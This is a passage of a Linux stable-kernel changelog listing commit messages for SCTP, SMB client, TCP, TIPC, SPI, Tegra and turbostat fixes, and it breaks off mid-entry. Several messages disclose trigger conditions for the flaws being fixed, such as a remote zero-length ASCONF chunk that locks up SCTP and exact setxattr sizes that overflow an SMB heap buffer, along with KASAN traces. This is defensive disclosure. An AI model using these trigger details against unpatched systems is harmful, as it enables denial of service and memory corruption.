sctp: revalidate output stream after association connect wait [+ + +]
Author: Daehyeon Ko <4ncienth@gmail.com>
Date:   Wed Oct 7 12:57:39 2026 +0900

    sctp: revalidate output stream after association connect wait
    
    commit b7ad72414c673ce1fa1f463e807cd4f34f8be9bf upstream.
    
    When message interleaving is enabled, the first send waits for association
    establishment before building its data chunks.  The wait drops the socket
    lock, and handshake processing can reduce the output stream count to the
    peer-advertised inbound stream count.  sctp_stream_init() then frees the
    extension of every removed stream.
    
    The sender resumes with the stream that it checked before the wait.  If the
    peer removed that stream, sctp_outq_tail() later dereferences its NULL
    extension.  Fatal-oops policies then panic the host.
    
    KASAN: null-ptr-deref in range [0x38-0x3f]
    RIP: sctp_outq_tail+0x49e/0xaa0
    Call Trace:
     sctp_primitive_SEND
     sctp_sendmsg_to_asoc
     sctp_sendmsg
    
    A range check alone is insufficient.  Stream reconfiguration can grow the
    output count again while the lock is released without recreating extensions
    freed by the earlier shrink.  The stream can then be in range while its
    extension remains NULL.  The send-buffer wait has the same issue.
    
    Factor the range and extension checks into a helper and repeat both after
    each send-path wait that drops the socket lock.  Once the lock is
    reacquired, the validation remains stable through data creation and
    queueing.
    
    If validation fails after the connect wait, the auto-created association is
    already established.  Return ESRCH so the existing caller path keeps it
    under state-machine ownership instead of freeing it directly, which would
    leave protocol, counter and socket state inconsistent.
    
    Fixes: 668c9beb9020 ("sctp: implement assign_number for sctp_stream_interleave")
    Cc: stable@vger.kernel.org
    Assisted-by: LLM
    Signed-off-by: Daehyeon Ko <4ncienth@gmail.com>
    Acked-by: Xin Long <lucien.xin@gmail.com>
    Link: https://patch.msgid.link/20261007035739.3472432-1-4ncienth@gmail.com
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

sctp: validate chunk length in the inqueue parser [+ + +]
Author: Charles Vosburgh <theminershive@gmail.com>
Date:   Thu Aug 27 17:32:53 2026 -0400

    sctp: validate chunk length in the inqueue parser
    
    commit 6cfc1b90cb86f4aabc69fb8e30128e07e2cdfa3a upstream.
    
    SCTP chunks always include a four-byte generic header, but
    sctp_inq_pop() currently accepts shorter declared lengths. A zero-length
    chunk leaves chunk_end at the current header.
    
    When ASCONF is covered by the association's SCTP-AUTH policy,
    sctp_assoc_bh_rcv() can continue before the state machine performs its
    normal chunk-length check. sctp_inq_pop() then returns the same malformed
    chunk repeatedly and the receive softirq can lock up.
    
    A remote SCTP peer can trigger this after establishing an association on
    a kernel built with CONFIG_IP_SCTP and configured with
    net.sctp.addip_enable=1 and net.sctp.auth_enable=1. The reproducer did
    not require application credentials, a shared SCTP AUTH key, or
    net.sctp.addip_noauth_enable=1.
    
    On commit f967455fb2a5 ("seg6: reset IP6CB after IPv6 decapsulation"),
    one zero-length ASCONF caused repeated
    watchdog soft-lockup reports in a two-vCPU KVM guest. All 3 pre-trigger
    health probes succeeded, while 36 of 37 post-trigger probes failed. With
    this change, all 37 post-trigger probes succeeded and no equivalent
    soft-lockup signature appeared.
    
    Reject chunks shorter than the generic SCTP header at the shared inqueue
    parser boundary. Mark the packet for discard before either caller can
    continue processing it, while preserving the four-byte generic minimum.
    Declared-length 1 through 4 controls and kernel-generated ASCONF traffic
    remained healthy. The patched sctp_hello selftest passed for IPv4 and
    IPv6.
    
    The complete private reproducer and validation evidence are available
    directly to maintainers on request.
    
    Fixes: bbd0d59809f9 ("[SCTP]: Implement the receive and verification of AUTH chunk")
    Cc: stable@vger.kernel.org
    Signed-off-by: Charles Vosburgh <theminershive@gmail.com>
    Acked-by: Xin Long <lucien.xin@gmail.com>
    Link: https://patch.msgid.link/20260827-sctp-zero-chunk-inqueue-v2-1-2e7669c6a6cb@gmail.com
    Signed-off-by: Jakub Kicinski <kuba@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
selinux: fix BPF token permission checks [+ + +]
Author: Paul Moore <paul@paul-moore.com>
Date:   Fri Aug 14 16:35:18 2026 -0400

    selinux: fix BPF token permission checks
    
    commit 77d499e61d36e883a6ad1f10afe05f556aa7e0cc upstream.
    
    Avoid multiple lookups of the bpffs creator SID using the token's file
    descriptor when the same information can be found via the resolved
    path/dentry (in selinux_bpf_token_create()) or the token itself (in
    selinux_bpf_map_create() and selinux_bpf_prog_load()).  Not only does
    this simplify the code, it avoids potential TOCTOU issues if the user
    changes the token file descriptor passed into the kernel.
    
    Cc: stable@vger.kernel.org
    Fixes: 5473a722f782 ("selinux: add support for BPF token access control")
    Reviewed-by: Stephen Smalley <stephen.smalley.work@gmail.com>
    Tested-by: Stephen Smalley <stephen.smalley.work@gmail.com>
    Signed-off-by: Paul Moore <paul@paul-moore.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
smb: client: drain outstanding I/O before truncating on O_TRUNC open [+ + +]
Author: Paulo Alcantara <pc@manguebit.org>
Date:   Fri Sep 25 20:16:09 2026 -0300

    smb: client: drain outstanding I/O before truncating on O_TRUNC open
    
    commit 3581f843defa0bb30fd7da1e7dba170465e13a95 upstream.
    
    cifs_do_truncate() flushes the pagecache with filemap_write_and_wait()
    before resetting the file size to zero, but that does not wait for
    direct/async I/O that was already in flight, which can complete after the
    truncate and reinstate stale data past the new EOF.
    
    Drain outstanding netfs I/O with netfs_wait_for_outstanding_io()
    before resizing the file.
    
    Reported-by: Frank Sorenson <sorenson@redhat.com>
    Fixes: a8603b52b39f ("smb: client: fix data corruption with concurrent writes and O_TRUNC")
    Reviewed-by: David Howells <dhowells@redhat.com>
    Reviewed-by: Namjae Jeon <linkinjeon@kernel.org>
    Signed-off-by: Paulo Alcantara <pc@manguebit.org>
    Cc: Christian Brauner <brauner@kernel.org>
    Cc: Matthew Wilcox <willy@infradead.org>
    Cc: Ronnie Sahlberg <ronniesahlberg@gmail.com>
    Cc: Shyam Prasad N <sprasad@microsoft.com>
    Cc: Tom Talpey <tom@talpey.com>
    Cc: Bharath SM <bharathsm@microsoft.com>
    Cc: stable@vger.kernel.org
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

smb: client: fix data corruption with concurrent writes and O_TRUNC [+ + +]
Author: Paulo Alcantara <pc@manguebit.org>
Date:   Fri Aug 28 19:08:09 2026 -0300

    smb: client: fix data corruption with concurrent writes and O_TRUNC
    
    commit a8603b52b39f520ea8a34def74c23fba87396d3e upstream.
    
    cifs_do_truncate() flushes dirty pages with filemap_write_and_wait()
    and truncates the file on the server, but in the old code both
    operations ran without holding i_rwsem or invalidate_lock.  A
    concurrent buffered write via netfs_perform_write() -- which only
    needs i_rwsem shared -- could dirty new pages after the flush but
    before the local truncation, and those pages would be silently
    discarded by cifs_setsize() -> truncate_pagecache().
    
    Fix by acquiring inode_lock (exclusive i_rwsem) and
    filemap_invalidate_lock at the top of cifs_do_truncate(), so the
    entire flush-truncate-resize sequence is atomic with respect to:
    
      - buffered writes (blocked by exclusive i_rwsem, since
        netfs_start_io_write takes i_rwsem shared),
      - read page faults (blocked by exclusive invalidate_lock, since
        filemap_fault takes it shared),
      - writeback collection (blocked by netfs_wb_begin/netfs_wb_end
        around the server truncate and local resize, since
        netfs_writepages also acquires the wb lock).
    
    Fixes: 110fee6b9bb5 ("smb: client: fix missing timestamp updates with O_TRUNC")
    Signed-off-by: Paulo Alcantara <pc@manguebit.org>
    Reviewed-by: Namjae Jeon <linkinjeon@kernel.org>
    Cc: Ronnie Sahlberg <ronniesahlberg@gmail.com>
    Cc: Shyam Prasad N <sprasad@microsoft.com>
    Cc: Tom Talpey <tom@talpey.com>
    Cc: Bharath SM <bharathsm@microsoft.com>
    Cc: stable@vger.kernel.org
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

smb: client: fix heap overflow in cifs_do_set_acl() [+ + +]
Author: Frank Sorenson <sorenson@redhat.com>
Date:   Wed Aug 26 21:13:36 2026 -0500

    smb: client: fix heap overflow in cifs_do_set_acl()
    
    commit 1dac61e2c29d1a71784604b48cf3b1234a65ec29 upstream.
    
    cifs_set_acl() validates ACL size using posix_acl_xattr_size():
    
            4 + (count * 8)  // 4-byte header + 8 bytes per ACE
    
    cifs_do_set_acl() then calls posix_acl_to_cifs() to write the CIFS
    wire format into the same buffer:
    
            6 + (count * 10)  // 6-byte header + 10 bytes per ACE
    
    An ACL that passes the xattr-based check in cifs_set_acl() can
    overflow the heap when posix_acl_to_cifs() writes the larger CIFS
    format.
    
    Validate the CIFS format size against the remaining buffer space and
    USHRT_MAX before converting--data_count is __u16, so sizes above
    USHRT_MAX truncate the on-wire packet length, causing the server to
    apply a partial ACL.  Replace MaxDataCount = 1000 with
    min(CIFSMaxBufSize, USHRT_MAX).
    
    Fixes: dc1af4c4b4721 ("cifs: implement set acl method")
    Cc: stable@vger.kernel.org
    Signed-off-by: Frank Sorenson <sorenson@redhat.com>
    Signed-off-by: Paulo Alcantara <pc@manguebit.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

smb: client: fix multiuser mount with krb5 [+ + +]
Author: Paulo Alcantara <pc@manguebit.org>
Date:   Mon Aug 24 16:59:12 2026 -0300

    smb: client: fix multiuser mount with krb5
    
    commit 69499395867332364ed4ac8b546537eb3bab6ebb upstream.
    
    Customer reported that they could no longer mount their SMB shares
    with multiuser mount option and krb5.  Turned out that the client
    wasn't duplicating username option when creating multiuser
    connections, therefore failing to retrieve credentials as
    cifs.upcall(8) couldn't find them in keytab.
    
    Fix this by duplicating username option (if set) from original fs
    context before creating multiuser connections with krb5.
    
    Reproducer:
    
      ```
      $ ktutil
      ktutil:  add_entry -password -p testuser -k 1 -e aes256-cts
      Password for testuser@ZELDA.TEST:
      ktutil:  write_kt /etc/krb5.keytab
      ktutil:  quit
      $ klist -ke
      Keytab name: FILE:/etc/krb5.keytab
      KVNO Principal
       ---- ----------------------------------------------------------------
         1 testuser@ZELDA.TEST (aes256-cts-hmac-sha1-96)
      $ mount.cifs //w22-root2/scratch /mnt/1 -o \
            uid=1000,sec=krb5,username=testuser@ZELDA.TEST,multiuser
      mount error(13): Permission denied
      Refer to the mount.cifs(8) manual page (e.g. man mount.cifs) and
      kernel log messages (dmesg)
      ```
    
    Reported-by: Jacob Shivers <jshivers@redhat.com>
    Fixes: 12b4c5d98cd7 ("smb: client: fix krb5 mount with username option")
    Cc: Ronnie Sahlberg <ronniesahlberg@gmail.com>
    Cc: Shyam Prasad N <sprasad@microsoft.com>
    Cc: Tom Talpey <tom@talpey.com>
    Cc: Bharath SM <bharathsm@microsoft.com>
    Cc: Namjae Jeon <linkinjeon@kernel.org>
    Cc: stable@vger.kernel.org
    Reviewed-by: Namjae Jeon <linkinjeon@kernel.org>
    Signed-off-by: Paulo Alcantara <pc@manguebit.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

smb: client: reject SetEA requests that do not fit the request buffer [+ + +]
Author: Yunpeng Tian <shionthanatos@gmail.com>
Date:   Sun Aug 30 18:46:56 2026 -0700

    smb: client: reject SetEA requests that do not fit the request buffer
    
    commit 4aa2c106aef4bf3dfd97c30842db0767b26e8428 upstream.
    
    CIFSSMBSetEA() copies the caller's extended attribute value into the
    SMB request buffer without checking that it fits.  The requirement is
    stated in the source but was never implemented:
    
            /*BB add length check to see if it would fit in
                 negotiated SMB buffer size BB */
            /* if (ea_value_len > buffer_size - 512 (enough for header)) */
            if (ea_value_len)
                    memcpy(parm_data->list.name + name_len + 1,
                           ea_value, ea_value_len);
    
    The only bound applied on the way in is in cifs_xattr_set():
    
            #define MAX_EA_VALUE_SIZE CIFSMaxBufSize
            ...
            if (size > MAX_EA_VALUE_SIZE)
    
    CIFSMaxBufSize is the full payload capacity of the buffer, so a value
    of exactly that size leaves no room for the SMB header, the TRANS2
    parameter block, the fealist header and the EA name that are written
    ahead of it in the same object.
    
    SendReceive() already enforces the correct limit on this very length:
    
            if (in_len > CIFSMaxBufSize + MAX_CIFS_HDR_SIZE)
    
    but it is called after the copy has taken place.  An unprivileged
    setxattr(2) on an SMB1 mount with a 250-byte name and a 16384-byte
    value writes 16384 bytes starting 345 bytes into a 16588-byte
    cifs_request object, ending 141 bytes past it:
    
      BUG: KASAN: slab-out-of-bounds in CIFSSMBSetEA+0xabc/0xde0
      Write of size 16384 at addr ffff888003aa0159 by task init/68
       __asan_memcpy+0x3c/0x60
       CIFSSMBSetEA+0xabc/0xde0
       cifs_xattr_set+0xd3a/0xff0
       __vfs_setxattr+0x13e/0x1a0
      The buggy address is located 345 bytes inside of
       allocated 16588-byte region
    
    Apply SendReceive()'s limit to the assembled request before the copy
    rather than after it, and widen the byte counters so the sum cannot
    wrap before it is tested.
    
    byte_count is also tested against U16_MAX, because it is stored in the
    16-bit pSMB->ByteCount.  That becomes reachable when CIFSMaxBufSize is
    raised at module load, where it may be set as high as 1024*127: with a
    5-byte EA name and a 65521-byte value, count is exactly U16_MAX while
    byte_count is 65556, and cpu_to_le16() would truncate it to 20 and
    transmit a frame whose ByteCount does not match its length.  Testing
    byte_count covers count as well, since byte_count is the larger of the
    two and count's only 16-bit consumer is written after this point.
    
    check_add_overflow() is evaluated first so that total_len is assigned
    before it is reported.
    
    Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
    Reported-by: Yunpeng Tian <shionthanatos@gmail.com>
    Reported-by: Mingda Zhang <npczmd@qq.com>
    Reported-by: Gongming Wang <gmwgg05@gmail.com>
    Reported-by: Qinrun Dai <jupmouse@gmail.com>
    Cc: stable@vger.kernel.org
    Signed-off-by: Yunpeng Tian <shionthanatos@gmail.com>
    Reviewed-by: Namjae Jeon <linkinjeon@kernel.org>
    Signed-off-by: Paulo Alcantara <pc@manguebit.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
soc/tegra: fuse: Add missing newline to APBMISC error message [+ + +]
Author: Jinhui Guo <guojinhui.liam@bytedance.com>
Date:   Tue Aug 4 20:19:10 2026 +0800

    soc/tegra: fuse: Add missing newline to APBMISC error message
    
    [ Upstream commit 2f4a0fb66d313f03832f061bc3ec25b33c8198c9 ]
    
    The error message printed by tegra_acpi_init_apbmisc() when failing to
    get APBMISC memory resources is missing a trailing newline. This can
    cause the message to be merged with the following kernel log line, making
    the log harder to read.
    
    Add the missing newline to keep the error output properly formatted.
    
    Fixes: 7b0c505eb341 ("soc/tegra: fuse: Add tegra_acpi_init_apbmisc()")
    Signed-off-by: Jinhui Guo <guojinhui.liam@bytedance.com>
    Signed-off-by: Thierry Reding <treding@nvidia.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

soc/tegra: pmc: Fix uninitialised clock rate [+ + +]
Author: Jon Hunter <jonathanh@nvidia.com>
Date:   Fri Aug 21 14:01:24 2026 +0100

    soc/tegra: pmc: Fix uninitialised clock rate
    
    [ Upstream commit c5c95dbdc9011a56359df4dc00be829bbcc0b036 ]
    
    For legacy 32-bit Tegra devices, the warning in the
    tegra_pmc_enter_suspend_mode() function is being triggered because the
    early_pmc->rate variable is never configured and hence, always 0. This
    issue started occurring after updating the PMC driver to create the PMC
    context dynamically which causes the 'rate' to be set in the new dynamic
    context, but missed updating the rate in the early PMC context.
    
    Fix this by initialising the early_pmc->rate variable for 32-bit Tegra
    devices when the rate for the PMC context is initialised.
    
    Fixes: 4d61f0342689 ("soc/tegra: pmc: Create PMC context dynamically")
    Signed-off-by: Jon Hunter <jonathanh@nvidia.com>
    [treding@nvidia.com: move assignment to existing #ifdef block]
    Signed-off-by: Thierry Reding <treding@nvidia.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
spi: imx: fix slab corruption from undersized DMA bounce buffers [+ + +]
Author: Richard Leitner <richard.leitner@linux.dev>
Date:   Thu Oct 15 22:58:00 2026 +0200

    spi: imx: fix slab corruption from undersized DMA bounce buffers
    
    commit 59eb22641f0c526dd064390b11cff99ae87c2858 upstream.
    
    Since commit faa8e404ad8e ("spi: imx: support dynamic burst length for
    ECSPI DMA mode"), the driver allocates its private DMA TX/RX buffers
    with kzalloc(dma_len), where dma_len is only rounded up to 4 bytes, but
    maps, syncs and unmaps them with DMA_CACHE_ALIGNED_LEN(dma_len), i.e.
    rounded up to the cache line size. As a result, the DMA API operates on
    memory beyond the end of the allocation.
    
    This was observed on a custom i.MX8MP platform with an mcp251xfd CAN
    controller under heavy RPMSG load, as a series of refcount_t warnings
    triggered from rpmsg_recv_done() in virtio_rpmsg_bus:
    
      refcount_t: addition on 0; use-after-free.
      refcount_t: underflow; use-after-free.
      refcount_t: saturated; leaking memory.
    
    Leading finally to an "Unable to handle kernel paging request" oops.
    Reproducing this problem took between 30 minutes and roughly 30 hours
    under the same workload.
    
    Hardware watchpoints on the refcount of a struct rpmsg_endpoint showed
    it was overwritten from 2 to 1 by __pi_memcpy_generic() in the
    irq/155-spi2.0 thread. Additionally it was found that a "normal"
    rpmsg_recv_done() took 11µs +/-2µs from its kref_get to kref_put. In
    the error case the same sequence took about 215µs +/-10µs. Based on
    this, an LLM was used to identify the size mismatch fixed here.
    
    Allocate the buffers with DMA_CACHE_ALIGNED_LEN(dma_len) so they cover
    the full mapped length, and use the same length for
    dma_sync_single_for_cpu() to stay consistent with map and unmap.
    
    With this patch applied, the same workload ran for more than 200 hours
    without the problem reproducing.
    
    Assisted-by: LLM
    Fixes: faa8e404ad8e ("spi: imx: support dynamic burst length for ECSPI DMA mode")
    Cc: stable@vger.kernel.org
    Signed-off-by: Richard Leitner <richard.leitner@linux.dev>
    Link: https://patch.msgid.link/20261015-fix-spi-imx-dma-v1-1-e28259671392@linux.dev
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

spi: tegra114: assert CS GPIO for every transfer in a message [+ + +]
Author: Carlos Jones Jr <carlosjr.jones@analog.com>
Date:   Fri Oct 2 16:55:40 2026 +0800

    spi: tegra114: assert CS GPIO for every transfer in a message
    
    [ Upstream commit 8980bc573ae2d2b9d86d76aeb86c76e1597070bf ]
    
    The driver provides its own transfer_one_message() and therefore drives
    the chip-select GPIO itself rather than through the SPI core. The GPIO is
    asserted only in the is_first_of_msg path of
    tegra_spi_setup_transfer_one(), but tegra_spi_transfer_end() deasserts it
    whenever a transfer has cs_change set. For a multi-transfer message whose
    earlier transfers request cs_change -- for example a register read that
    sends the address in one transfer and clocks the data back in the next --
    the CS GPIO is released after the first transfer and never re-asserted,
    so the remaining transfers are clocked with chip-select inactive and the
    peripheral never drives the bus.
    
    This was observed with an ADIS16470 IMU (adis16475 driver), whose
    register read is a two-transfer, cs_change-framed exchange: a logic
    analyzer showed the data frame clocked with CS high, and the driver read
    0 while the device drove 0x4056 on the wire.
    
    Re-assert the CS GPIO for every transfer so that multi-transfer messages
    keep chip-select active across the whole message. gpiod_set_value() is
    idempotent and polarity-aware, so this is a no-op for the first transfer
    and for messages that keep CS asserted throughout.
    
    Fixes: 63c1440596ff ("spi: tegra114: add support for gpio based CS")
    Signed-off-by: Carlos Jones Jr <carlosjr.jones@analog.com>
    Link: https://patch.msgid.link/20261002085540.1625-1-carlosjr.jones@analog.com
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
tcp: fix use-after-free in do_tcp_getsockopt(TCP_CC_INFO) [+ + +]
Author: Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
Date:   Thu Aug 27 19:55:11 2026 -0400

    tcp: fix use-after-free in do_tcp_getsockopt(TCP_CC_INFO)
    
    commit 385e474086c2e7e29e2dded690be40dc273e20ee upstream.
    
    do_tcp_getsockopt() reads icsk->icsk_ca_ops and dereferences the
    get_info function pointer without rcu_read_lock(). With BPF struct_ops
    congestion control, ca_ops can point to dynamically allocated memory
    that is freed concurrently, resulting in a use-after-free when the
    kernel dereferences or calls through the stale pointer.
    
      BUG: KASAN: slab-use-after-free in do_tcp_getsockopt+0x2037/0x23e0
      Read of size 8 at addr ffff888013701258 by task exploit/149
       do_tcp_getsockopt+0x2037/0x23e0 (net/ipv4/tcp.c:4564)
       tcp_getsockopt+0x91/0xf0
       __sys_getsockopt+0xf7/0x170
    
    Fix this by wrapping the ca_ops load and get_info call within
    rcu_read_lock()/rcu_read_unlock(), and using READ_ONCE() to load
    the icsk_ca_ops pointer.
    
    Fixes: 0baf26b0fcd7 ("bpf: tcp: Support tcp_congestion_ops in bpf")
    Suggested-by: Eric Dumazet <edumazet@google.com>
    Cc: AutonomousCodeSecurity@microsoft.com
    Cc: stable@vger.kernel.org
    Reviewed-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
    Reviewed-by: Jiayuan Chen <jiayuan.chen@linux.dev>
    Reviewed-by: Matthieu Baerts (NGI0) <matttbe@kernel.org>
    Link: https://patch.msgid.link/65fd3816ed5d541d9edd4bf4fcf97104a2cf907a.1787870710.git.blbllhy@gmail.com
    Signed-off-by: Jakub Kicinski <kuba@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

tcp: fix use-after-free in do_tcp_getsockopt(TCP_CONGESTION) [+ + +]
Author: Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
Date:   Thu Aug 27 19:55:10 2026 -0400

    tcp: fix use-after-free in do_tcp_getsockopt(TCP_CONGESTION)
    
    commit 5271b79b7ad68dcb222e893773f92bdabf7750f3 upstream.
    
    do_tcp_getsockopt() reads icsk->icsk_ca_ops->name without holding
    rcu_read_lock(). Since commit 0baf26b0fcd7 ("bpf: tcp: Support
    tcp_congestion_ops in bpf"), icsk_ca_ops can point to dynamically
    allocated BPF struct_ops memory that may be freed concurrently via
    setsockopt(TCP_CONGESTION), leading to a use-after-free.
    
      BUG: KASAN: slab-use-after-free in _copy_to_user+0x37/0x60
      Read of size 16 at addr ffff888013505260 by task exploit/149
       _copy_to_user+0x37/0x60
       do_tcp_getsockopt+0x158a/0x2460 (net/ipv4/tcp.c:4585)
       tcp_getsockopt+0x91/0xf0
       __sys_getsockopt+0xf7/0x170
    
    Fix this by holding rcu_read_lock() around the ca_ops->name access,
    using READ_ONCE() to load icsk_ca_ops, and copying the name to a
    stack buffer before releasing the lock. Also annotate the relevant
    icsk_ca_ops stores with WRITE_ONCE() to fix the accompanying KCSAN
    data-race issue.
    
    Fixes: 0baf26b0fcd7 ("bpf: tcp: Support tcp_congestion_ops in bpf")
    Suggested-by: Eric Dumazet <edumazet@google.com>
    Reported-by: Xiang Mei (Microsoft) <xmei5@asu.edu>
    Link: https://lore.kernel.org/all/20260821182449.79785-2-blbllhy@gmail.com/
    Cc: AutonomousCodeSecurity@microsoft.com
    Cc: stable@vger.kernel.org
    Reviewed-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
    Reviewed-by: Jiayuan Chen <jiayuan.chen@linux.dev>
    Reviewed-by: Matthieu Baerts (NGI0) <matttbe@kernel.org>
    Reviewed-by: Breno Leitao <leitao@debian.org>
    Link: https://patch.msgid.link/d3f97f1acbf0010898148be6e6406e4b8b4a5c84.1787870710.git.blbllhy@gmail.com
    Signed-off-by: Jakub Kicinski <kuba@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
tipc: protect node reset trace dump with node lock [+ + +]
Author: Chengfeng Ye <nicoyip.dev@gmail.com>
Date:   Wed Aug 26 03:01:41 2026 +0800

    tipc: protect node reset trace dump with node lock
    
    commit dddf197f29ba5e47a476dde82bf542ca2e0d5e5e upstream.
    
    The tipc_node_reset_links trace event asks tipc_node_dump() to walk the
    node's link entries. Unlike the other node events that request link data,
    this event runs without the node lock.
    
    This permits bearer teardown to free a link while the trace callback is
    dumping it:
    
      CPU 0                                CPU 1
      trace_tipc_node_reset_links()
        tipc_node_dump()
          l = n->links[0].link
                                           tipc_node_write_lock()
                                           kfree(l)
                                           n->links[0].link = NULL
                                           tipc_node_write_unlock()
          tipc_link_dump(l)
    
    tipc_link_dump() then dereferences the stale pointer. KASAN reported:
    
      BUG: KASAN: slab-use-after-free in tipc_link_dump
      Read of size 4 by task poc/115
      Call Trace:
       tipc_link_dump+0x10cb/0x16b0
       tipc_node_dump+0x4bb/0x740
       trace_event_raw_event_tipc_node_class+0x258/0x360
       tipc_node_reset_links+0x14d/0x1a0
       tipc_rcv+0x13f5/0x3030
       tipc_udp_recv+0x4e3/0x670
      Allocated by task 0:
       tipc_link_create+0x1e1/0x1020
       tipc_node_check_dest+0x7d2/0x11a0
       tipc_disc_rcv+0xdbf/0x1430
      Freed by task 89:
       kfree+0x131/0x3c0
       tipc_node_link_down+0x267/0x4b0
       tipc_node_delete_links+0xec/0x160
       bearer_disable+0x107/0x260
    
    Take the node write lock around the trace event. This serializes the
    dump against tipc_node_link_down(delete=true), which frees the link
    under the same write lock.
    
    Fixes: eb18a510b5cd ("tipc: add trace_events for tipc node")
    Cc: stable@vger.kernel.org
    Signed-off-by: Chengfeng Ye <nicoyip.dev@gmail.com>
    Reviewed-by: Tung Nguyen <tung.quang.nguyen@est.tech>
    Link: https://patch.msgid.link/20260825190141.242219-1-nicoyip.dev@gmail.com
    Signed-off-by: Jakub Kicinski <kuba@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
tools/power turbostat: Fix add_counter issue if > 24 counters. [+ + +]
Author: Len Brown <len.brown@intel.com>
Date:   Sun May 3 14:17:54 2026 -0400

    tools/power turbostat: Fix add_counter issue if > 24 counters.
    
    [ Upstream commit 154b96dab83fd953b9b82c8bcfa041cd6a9d74d3 ]
    
    We allocate space for added counters ahead of time,
    and we arbitrarily chose 24 added counters of each type.
    If a future code flow hits this limit and continues,
    and then removes counters, we do a phantom increment
    and lose track of the number of added counters.
    
    Increment the count only if there is no error.
    
    Fixes: 388e9c8134be ("tools/power turbostat: Make extensible via the --add parameter")
    Assisted-by: Claude: Claude Sonnet 4.6
    Signed-off-by: Len Brown <len.brown@intel.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

tools/power turbostat: Fix CWF PMT off-by-one [+ + +]
Author: Len Brown <len.brown@intel.com>
Date:   Thu Apr 30 21:40:36 2026 -0400

    tools/power turbostat: Fix CWF PMT off-by-one
    
    [ Upstream commit 5e940dd96bef6ca03b3b1b4740351237e5ec17e3 ]
    
    Fix off-by-one error causing last CPU on CWF
    to never get a pmt counter allocated.
    
    Fixes: 5ce1e9bbb2a1 ("tools/power turbostat: Add CPU%c1e BIC for CWF")
    Assisted-by: GitHub Copilot (claude-sonnet-4.6)
    Signed-off-by: Len Brown <len.brown@intel.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

tools/power turbostat: Fix fd_perf leak on reset [+ + +]
Author: Len Brown <len.brown@intel.com>
Date:   Thu Apr 30 21:28:19 2026 -0400

    tools/power turbostat: Fix fd_perf leak on reset
    
    [ Upstream commit 767c64414c4c5fffd6cbc3a1cf1fb8138b28645b ]
    
    When turbostat notices a topology change,
    it frees perf file descriptors for each CPU
    to prepare to re-initialize.
    
    Fix an off-by-one error in that per-cpu loop that
    resulted in a file descriptor leak of the file for
    the highest numbered CPU in the system.
    
    Fixes: 67bab430f4e7 ("tools/power turbostat: Group SMI counter with APERF and MPERF")
    Assisted-by: GitHub Copilot (claude-sonnet-4.6)
    Signed-off-by: Len Brown <len.brown@intel.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

tools/power turbostat: Fix PMT error path fd handling [+ + +]
Author: Len Brown <len.brown@intel.com>
Date:   Sun May 3 15:23:25 2026 -0400

    tools/power turbostat: Fix PMT error path fd handling
    
    [ Upstream commit 11741cc90f9176746b8595beab4fec8d736ebd18 ]
    
    It is possible to leak a file descriptor if a diretory
    open succeeds, but the scan fails.  Close the fd on error.
    
    Also, on cleanup, check for NULL fd.
    
    Assisted-by: Claude: Claude Sonnet 4.6
    Fixes: 4265a86582ea ("tools/power turbostat: Add PMT directory iterator helper")
    Signed-off-by: Len Brown <len.brown@intel.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

tools/power turbostat: Read complete CPU lists [+ + +]
Author: Ali Ahmet Memis <ali@iusegentoo.com>
Date:   Thu Jul 30 06:00:31 2026 +0300

    tools/power turbostat: Read complete CPU lists
    
    commit c24362650f7a8573dc9a9991a034b8500af8eb19 upstream.
    
    CPU_SUBSET_MAXCPUS accepts CPU IDs through 8191, but the sysfs and
    cgroup CPU-list readers stop at 1024 bytes. A fragmented cpuset or
    hybrid PMU CPU list can exceed that size and be truncated.
    initialize_cpu_set_from_sysfs() can also pass a full, non-NUL-terminated
    buffer to parse_cpu_str(), causing an out-of-bounds read.
    
    Additionally, initialize_cpu_set_from_sysfs() returns with the file
    still open on success. It is now called once per CPU for
    thread_siblings_list, so large systems can leak thousands of descriptors
    during topology discovery.
    
    Use getline() so both readers receive a complete, NUL-terminated line.
    Close and free the sysfs CPU-list resources on every path, and report
    malformed input from the correct buffer.
    
    Fixes: eb187540d13a ("tools/power turbostat: Increase CPU_SUBSET_MAXCPUS to 8192")
    Fixes: 58839fdbd441 ("tools/power turbostat: Process HT siblings in CPU order")
    Cc: stable@vger.kernel.org
    Signed-off-by: Ali Ahmet Memis <ali@iusegentoo.com>
    Signed-off-by: Len Brown <len.brown@intel.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

tools/power turbostat: Warn, but don't Err on out-dated perf systems [+ + +]
Author: Len Brown <len.brown@intel.com>
Date:   Thu Aug 13 15:27:18 2026 -0400

    tools/power turbostat: Warn, but don't Err on out-dated perf systems
    
    [ Upstream commit 1de8307e861759386057f8683bdf0594b2c803f0 ]
    
